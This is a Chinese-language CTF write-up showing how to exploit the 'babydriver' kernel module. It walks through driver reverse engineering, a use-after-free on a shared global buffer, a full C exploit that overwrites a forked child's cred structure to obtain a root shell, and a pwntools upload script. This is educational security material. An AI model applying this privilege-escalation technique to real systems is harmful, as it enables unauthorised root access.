以babydriver为例的kernel-pwn解题一般过程
字数 1166 2025-08-22 12:22:37
Kernel PWN 解题一般过程 - 以 babydriver 为例
1. 环境分析
1.1 启动脚本分析
查看 boot.sh 脚本内容:
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-monitor /dev/null \
-m 128M \
-nographic \
-smp cores=1,threads=1 \
-cpu kvm64,+smep \
-s
关键安全配置:
+smep:开启 Supervisor Mode Execution Protection,防止内核执行用户空间代码- 内存限制:128MB
- 单核CPU
1.2 文件系统分析
解包 rootfs.cpio 文件系统:
mkdir File_system
mv rootfs.cpio ./File_system/rootfs.cpio.gz
cd File_system
gunzip rootfs.cpio.gz
cpio -idmv < rootfs.cpio
查看 init 文件内容:
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
关键信息:
- 内核版本:4.4.72
- 驱动模块路径:
/lib/modules/4.4.72/babydriver.ko - 设备节点:
/dev/babydev,权限777 - 需要提权才能读取flag
1.3 驱动模块分析
检查驱动模块安全属性:
file babydriver.ko
checksec babydriver.ko
输出:
babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
2. 驱动逆向分析
2.1 驱动初始化函数
int __cdecl babydriver_init() {
// 分配字符设备的主设备号
if ((int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0) {
// 初始化字符设备cdev_0
cdev_init(&cdev_0, &fops);
cdev_0.owner = &_this_module;
// 添加字符设备
if (cdev_add(&cdev_0, babydev_no, 1LL) >= 0) {
// 创建设备类
babydev_class = (class *)_class_create(&_this_module, "babydev", &babydev_no);
if (babydev_class) {
// 创建设备节点
if (device_create(babydev_class, 0LL, babydev_no, 0LL, "babydev")) {
return 0;
}
// 错误处理...
}
// 错误处理...
}
// 错误处理...
}
// 错误处理...
return 1;
}
2.2 驱动退出函数
void __cdecl babydriver_exit() {
device_destroy(babydev_class, babydev_no);
class_destroy(babydev_class);
cdev_del(&cdev_0);
unregister_chrdev_region(babydev_no, 1LL);
}
2.3 文件操作函数
2.3.1 open操作
int __fastcall babyopen(inode *inode, file *filp) {
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}
2.3.2 release操作
int __fastcall babyrelease(inode *inode, file *filp) {
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}
2.3.3 ioctl操作
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg) {
if (command == 0x10001) {
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
return 0LL;
}
printk(&unk_2EB);
return -22LL;
}
2.3.4 read/write操作
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset) {
if (!babydev_struct.device_buf) return -1LL;
if (babydev_struct.device_buf_len > length) {
copy_to_user(buffer, babydev_struct.device_buf, length);
return length;
}
return -2LL;
}
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset) {
if (!babydev_struct.device_buf) return -1LL;
if (babydev_struct.device_buf_len > length) {
copy_from_user(babydev_struct.device_buf, buffer, length);
return length;
}
return -2LL;
}
3. 漏洞分析
3.1 UAF漏洞
关键问题:
babydev_struct是全局变量- 当多个进程打开设备时,会共享同一个
babydev_struct - 当一个进程释放缓冲区后,另一个进程仍可能使用该缓冲区
利用步骤:
- 进程A打开设备,分配缓冲区
- 进程B打开设备,分配缓冲区(覆盖进程A的缓冲区)
- 进程A释放缓冲区
- 进程B仍可操作已释放的缓冲区
3.2 提权思路
利用UAF修改进程凭证结构体(cred结构):
- 分配与cred结构相同大小的缓冲区(0xa8字节)
- 通过fork创建子进程(子进程会复制父进程的cred结构)
- 在子进程cred结构创建时,通过UAF覆盖其内容
- 将uid、gid等字段修改为0,实现提权
4. 漏洞利用
4.1 EXP代码
#include <stdio.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc, char **argv){
int fd1, fd2, id;
char cred[0xa8] = {0};
fd1 = open("/dev/babydev", O_RDWR);
fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0xa8);
close(fd1);
id = fork();
if(id == 0){
write(fd2, cred, 28);
if(getuid() == 0){
printf("[*]welcome root:\n");
system("/bin/sh");
return 0;
}
}
else if(id < 0){
printf("[*]fork fail\n");
}
else {
wait(NULL);
}
close(fd2);
return 0;
}
4.2 编译与部署
静态编译EXP:
musl-gcc -w -s -static -O3 exp.c -o exp
打包文件系统:
find . | cpio -o --format=newc > ../rootfs.cpio
4.3 调试技巧
4.3.1 获取带符号的vmlinux
vmlinux-to-elf bzImage vmlinux
4.3.2 GDB调试
gdb -q -ex "target remote localhost:1234"
set architecture i386:x86-64
add-symbol-file vmlinux
# 启动后按Ctrl+C中断
add-symbol-file babydriver.ko 0xffffffffc0000000 # 地址从lsmod获取
b babyread
b babywrite
b babyioctl
b babyopen
b babyrelease
c
5. 远程攻击脚本
import sys
import os
from pwn import *
import string
context.log_level = 'debug'
r = remote('ip', port)
def send_cmd(cmd):
r.sendlineafter('$ ', cmd)
def upload():
lg = log.progress('Upload')
with open('exp', 'rb') as f:
data = f.read()
encoded = base64.b64encode(data)
encoded = str(encoded)[2:-1]
for i in range(0, len(encoded), 300):
lg.status('%d/%d' % (i, len(encoded)))
send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))
send_cmd('cat benc | base64 -d > bout')
send_cmd('chmod +x bout')
lg.success()
os.system('musl-gcc -w -s -static -o3 exp.c -o exp')
upload()
r.interactive()
6. 终端设备类型简介
Linux中 /dev 目录下的终端设备类型:
-
/dev/ttySn- 串行端口终端- 用于与串行端口连接的终端设备
- 类似Windows下的COM端口
-
/dev/tty- 控制终端- 当前进程的控制终端设备文件
- 类似符号链接,指向实际终端设备
-
/dev/ttyN&/dev/console- 虚拟终端与控制台- 虚拟终端:软件模拟的终端,可通过Ctrl+Alt+Fx切换
- 控制台:直接连接计算机的原生设备
-
/dev/pty- 伪终端- 成对的逻辑终端设备(master/slave)
- 用于远程连接和图形界面终端模拟器
-
其他特殊终端
- 如
/dev/ttyprintk直接与内核缓冲区相连
- 如